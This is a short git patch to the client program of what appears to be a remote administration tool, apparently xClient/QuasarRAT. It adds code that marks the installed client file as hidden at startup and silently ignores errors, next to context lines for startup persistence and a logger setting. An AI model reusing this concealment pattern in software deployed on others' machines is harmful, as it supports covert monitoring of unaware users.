From bdfe0543f54b16265e38d8405ccb07293f24a53e Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 6 Sep 2015 16:25:21 +0200 Subject: [PATCH] Set file attributes on startup --- Client/Program.cs | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/Client/Program.cs b/Client/Program.cs index 6c23e7bb..743a7d0f 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -159,6 +159,17 @@ namespace xClient ClientData.AddToStartupFailed = true; } + if (Settings.INSTALL && Settings.HIDEFILE) + { + try + { + File.SetAttributes(ClientData.InstallPath, FileAttributes.Hidden); + } + catch (Exception) + { + } + } + InitializeClient(); if (Settings.ENABLELOGGER)